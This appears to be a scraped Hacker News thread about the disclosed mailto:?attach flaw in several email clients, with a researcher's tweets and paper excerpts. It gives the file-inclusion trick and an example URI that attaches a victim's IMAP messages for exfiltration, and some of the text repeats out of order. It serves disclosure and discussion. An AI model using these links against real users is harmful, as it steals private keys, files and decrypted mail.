Full Twitter thread text by @jensvoid here, since the thread appears to be broken for some people:
Have you ever heard of the mailto:?attach=~/… parameter? It allows to include arbitrary files on disk. So, why break PGP if you can politely ask the victim's mail client to include the private key? (1/4)
You can even leak complete directories in some mail clients. Interestingly, Evolution shows a warning if you want to include a single file, but the full home directory is fine. (2/4)
Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. (3/4)
This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your Secrets. On Bugs and Features in Email End-to-End Encryption" with
@lambdafu , @dues__ , @seecurity , and
@joergschwenk : https:// nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)
Thunderbird uses an adapted
version of the imap:// URI scheme to internally address
emails stored on IMAP folders. This allows an attacker to
include messages on the victim’s IMAP server (specified by
their UID) using an attach parameter, as shown in Listing 6.
mailto:[email protected]?attach=imap:///fetch>UID>/INBOX>1
Listing 6. Mailto URI to attach the first email from the victim’s IMAP server.
Multiple emails can be attached by using multiple attach
parameters with different UIDs. By setting the UID from one
to the maximum number of stored messages, and including
all UIDs as attach parameters the whole mailbox of the
victim can be exfiltrated at once.
Even worse, all OpenPGP
and S/MIME encrypted emails in the attached email are
automatically decrypted by Thunderbird before sending them
back to the attacker.
Decrypted messages should never be stored on the IMAP server. That is pretty much the whole thing here. It overtly defeats the PGP encrypt once scheme.
In the same way, a user intending to send an encrypted email should be able to be confident that the email client will not automatically save an unencrypted message to some sort of Drafts folder on the IMAP server.
That's why I use web-based email (FastMail and Proton Mail personally) because I want email software to exist in the same sandbox as all websites I visit on the web.
>So, why break PGP if you can politely ask the victim's mail client to include the private key?
If your PGP private key has a good passphrase then you are still OK. This attack suggests that there is some value in how most PGP implementations attempt to protect the private key locally.
As a counter example, Signal Messenger does not even try to protect the private key or saved messages except with a short pin (and that is a new feature). That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. Then you can sniff any passphrase without any extra trouble.
In the end, message security is endpoint security.
This attack is entirely generic. It seems odd that the authors only mention the possibility of a PGP compromise and ignore all the other messengers out there that could be also compromised by arbitrary remote file access. It would of made things more compelling.
> That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption.
It's absolutely unreasonable.
If my endpoint is compromised, should I assume my key is potentially violated, and so change it? Yes
But should I assume that everything in my life is tainted and therefore pre-emptively expose all my secrets to attackers immediately? Of course not.
While it would definitely be better if this displayed a warning when opening the link, it still requires the victim to willingly send the email. Before doing that they see the list of attachments they are including, so this is a very visible attack.
> Before doing that they see the list of attachments they are including, so this is a very visible attack.
Depends on the client. I use claws-mail and I can't replicate this (not sure if maybe I'm doing it wrong), but I did note that if there were attachments, I wouldn't see them by default without clicking the attachments tab in the compose window.
People have processes that put files in standard places and require users to email them the files. Yes, the average HN reader could automate away any need for the average process, but it exists and can't be changed. Email client developers go ahead and implement niceties without considering the risk.
I think the intent was probably for the parameter to be used by desktop applications so that they could generate or find a file and then open an email with the file already attached.
I wonder if anyone has tried to do something like this for meeting invite responses, which are sent at least in Evolution without any user intervention. Could you craft a meeting invite URL or mail such that the response would include a file or email?
I guess someone thought it was a useful addition (e.g. since on smartphones nowadays communication between apps is through launching of URLs, e.g. loading the URL "https://maps.google.com/...." would open up the Google Maps app), but they didn't consider this exploit.
Sigh This works on latest Evolution on Debian, I just tested. I can see how somebody might miss that there is an attachment, especially on a large screen like mine (40 inches). I've just repointed the system default mail client at Mutt (which is not configured), so I have to copy mail links from now on to get them into Evolution.
Much as this is bad, I will address the "GPG secret key" angle: if (like me) you only store your secret keys on a physical device, as described for example here: https://github.com/drduh/YubiKey-Guide, then you have nothing to worry about, because your secret key does not reside anywhere where it's accessible.
I'm not convinced this is as big an issue as has been made out here.
Why would you click a link and then voluntarily send an email with a file called "passwd" or "secring.gpg" in the attachments list?!
Perhaps you could show a scarier warning or something, rather than just declaring the functionality unacceptably dangerous and removing it. There are genuine use-cases discussed in this thread. At the end of the day, the user needs to accept responsibility for things they voluntarily do on their machine.
Generally though, I'm not sure this functionality makes much sense if it's initiated from a web-page. If you had another app on your machine though, that already had disk access, it might make sense to be able to launch the email client with something pre-attached.
It is a big issue, and it's not surprising some hackers wouldn't understand how big.
A lot of people, most even, have no idea what is happening on about 90% of their screen, about 90% of the time. And they're used to being forever in the dark about what their machine is doing and why. They expect it.
They know they're writing an email and they can see the box they're typing into, but other components, like the status bar, title bar, and attachments field, are outside their sphere of perception. At least or especially when they're not actively thinking about attaching a file intentionally, say.
It's like a serious chess player, who sees the whole board and thinks multiple moves ahead, compared to a novice who learnt the rules yesterday and can only see the horsey piece and the pieces immediately surrounding the horsey piece.
These users have a checklist approach to using their computer:
Step 1: click this
Step 2: that happens
Step 3: Did what I wanted to happen, happen?
Step 4: there is no step 4
The professor who didn't realize there's a "fullscreen" button when showing videos to the class is the same one who can't perceive the attachments field and will send a file called 'passwd'. And if the mail client puts up an alert that says, "Are you sure you want to attach and send a file called passwd to [email protected]?", they'll click 'Yes' and get on with their day.
Take a computer-nonliterate but otherwise functionally competent adult with very limited vision (macular degeneration, glaucoma, etc.), onset of cognitive disorders (Alzheimer's, Parkinson's, TIAs, ...) but compelled to use computers for some functions (utility payments, banking, government services, remote comms, socialisation, hobbies & interests).
The world contains numerous people who are not tech-savvy, capable, digital natives. And even a large fraction of that population would fall prey to attacks of this nature.
Please show more awareness and compassion. Perhaps beginning with your handle.
[+] [-] SyneRyder|5 years ago|reply
Have you ever heard of the mailto:?attach=~/… parameter? It allows to include arbitrary files on disk. So, why break PGP if you can politely ask the victim's mail client to include the private key? (1/4)
You can even leak complete directories in some mail clients. Interestingly, Evolution shows a warning if you want to include a single file, but the full home directory is fine. (2/4)
Such simple stupid mailto:?attach tricks worked in Thunderbird for Debian, GNOME Evolution (CVE-2020-11879), KDE KMail (CVE-2020-11880), IBM/HCL Notes (CVE-2020-4089), and Pegasus Mail. (3/4)
This flaw, among others, is described in our IEEE CNS paper "Mailto: Me Your Secrets. On Bugs and Features in Email End-to-End Encryption" with @lambdafu , @dues__ , @seecurity , and @joergschwenk : https:// nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen/2020/08/15/mailto-paper.pdf (4/4)
[+] [-] floatingatoll|5 years ago|reply
https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
[+] [-] ThePowerOfFuet|5 years ago|reply
https://nds.ruhr-uni-bochum.de/media/nds/veroeffentlichungen...
[+] [-] Tepix|5 years ago|reply
3) Access to IMAP Storage:
Thunderbird uses an adapted version of the imap:// URI scheme to internally address emails stored on IMAP folders. This allows an attacker to include messages on the victim’s IMAP server (specified by their UID) using an attach parameter, as shown in Listing 6.
Multiple emails can be attached by using multiple attach parameters with different UIDs. By setting the UID from one to the maximum number of stored messages, and including all UIDs as attach parameters the whole mailbox of the victim can be exfiltrated at once.Even worse, all OpenPGP and S/MIME encrypted emails in the attached email are automatically decrypted by Thunderbird before sending them back to the attacker.
Sheesh!
[+] [-] upofadown|5 years ago|reply
In the same way, a user intending to send an encrypted email should be able to be confident that the email client will not automatically save an unencrypted message to some sort of Drafts folder on the IMAP server.
[+] [-] gvjddbnvdrbv|5 years ago|reply
[+] [-] ryanjshaw|5 years ago|reply
[1] https://en.wikipedia.org/wiki/Confused_deputy_problem
[+] [-] avian|5 years ago|reply
After a quick search through the paper [1] it seems that authors forgot to mention the software versions they were using in their research.
[1] https://www.nds.ruhr-uni-bochum.de/media/nds/veroeffentlichu...
[+] [-] hannob|5 years ago|reply
So you are only affected if your system uses xdg-open to parse mailto links.
[+] [-] miken123|5 years ago|reply
[+] [-] vortico|5 years ago|reply
[+] [-] upofadown|5 years ago|reply
[+] [-] sukilot|5 years ago|reply
[+] [-] system2|5 years ago|reply
[+] [-] upofadown|5 years ago|reply
If your PGP private key has a good passphrase then you are still OK. This attack suggests that there is some value in how most PGP implementations attempt to protect the private key locally.
As a counter example, Signal Messenger does not even try to protect the private key or saved messages except with a short pin (and that is a new feature). That is probably based on the idea that any local attack is going to end up being a complete compromise of the end point ... which is not an unreasonable assumption. Then you can sniff any passphrase without any extra trouble.
In the end, message security is endpoint security.
This attack is entirely generic. It seems odd that the authors only mention the possibility of a PGP compromise and ignore all the other messengers out there that could be also compromised by arbitrary remote file access. It would of made things more compelling.
[+] [-] sukilot|5 years ago|reply
It's absolutely unreasonable.
If my endpoint is compromised, should I assume my key is potentially violated, and so change it? Yes
But should I assume that everything in my life is tainted and therefore pre-emptively expose all my secrets to attackers immediately? Of course not.
[+] [-] gvjddbnvdrbv|5 years ago|reply
[+] [-] jorams|5 years ago|reply
[+] [-] rascul|5 years ago|reply
Depends on the client. I use claws-mail and I can't replicate this (not sure if maybe I'm doing it wrong), but I did note that if there were attachments, I wouldn't see them by default without clicking the attachments tab in the compose window.
[+] [-] Tepix|5 years ago|reply
How was this standardized? Why did clients implement this?
[+] [-] zerkten|5 years ago|reply
People have processes that put files in standard places and require users to email them the files. Yes, the average HN reader could automate away any need for the average process, but it exists and can't be changed. Email client developers go ahead and implement niceties without considering the risk.
[+] [-] InfiniteRand|5 years ago|reply
[+] [-] l0b0|5 years ago|reply
[+] [-] netsharc|5 years ago|reply
I guess someone thought it was a useful addition (e.g. since on smartphones nowadays communication between apps is through launching of URLs, e.g. loading the URL "https://maps.google.com/...." would open up the Google Maps app), but they didn't consider this exploit.
[+] [-] chromedev|5 years ago|reply
[+] [-] mike-cardwell|5 years ago|reply
[+] [-] Mic92|5 years ago|reply
[+] [-] Mic92|5 years ago|reply
[+] [-] jwr|5 years ago|reply
[+] [-] gspr|5 years ago|reply
[+] [-] dathinab|5 years ago|reply
I have read some of the mail standards and know that they have quite a number of "annoyances" some with bad security implications.
But I believed that modern mail software treats them as uhm "legacy madness" and just doesn't implement them.
[+] [-] Tepix|5 years ago|reply
[+] [-] lol768|5 years ago|reply
Why would you click a link and then voluntarily send an email with a file called "passwd" or "secring.gpg" in the attachments list?!
Perhaps you could show a scarier warning or something, rather than just declaring the functionality unacceptably dangerous and removing it. There are genuine use-cases discussed in this thread. At the end of the day, the user needs to accept responsibility for things they voluntarily do on their machine.
Generally though, I'm not sure this functionality makes much sense if it's initiated from a web-page. If you had another app on your machine though, that already had disk access, it might make sense to be able to launch the email client with something pre-attached.
[+] [-] newsbinator|5 years ago|reply
A lot of people, most even, have no idea what is happening on about 90% of their screen, about 90% of the time. And they're used to being forever in the dark about what their machine is doing and why. They expect it.
They know they're writing an email and they can see the box they're typing into, but other components, like the status bar, title bar, and attachments field, are outside their sphere of perception. At least or especially when they're not actively thinking about attaching a file intentionally, say.
It's like a serious chess player, who sees the whole board and thinks multiple moves ahead, compared to a novice who learnt the rules yesterday and can only see the horsey piece and the pieces immediately surrounding the horsey piece.
These users have a checklist approach to using their computer:
Step 1: click this
Step 2: that happens
Step 3: Did what I wanted to happen, happen?
Step 4: there is no step 4
The professor who didn't realize there's a "fullscreen" button when showing videos to the class is the same one who can't perceive the attachments field and will send a file called 'passwd'. And if the mail client puts up an alert that says, "Are you sure you want to attach and send a file called passwd to [email protected]?", they'll click 'Yes' and get on with their day.
[+] [-] dredmorbius|5 years ago|reply
The world contains numerous people who are not tech-savvy, capable, digital natives. And even a large fraction of that population would fall prey to attacks of this nature.
Please show more awareness and compassion. Perhaps beginning with your handle.
[+] [-] thinkingemote|5 years ago|reply
[+] [-] dx034|5 years ago|reply
[+] [-] DangerousPie|5 years ago|reply
[+] [-] chadlavi|5 years ago|reply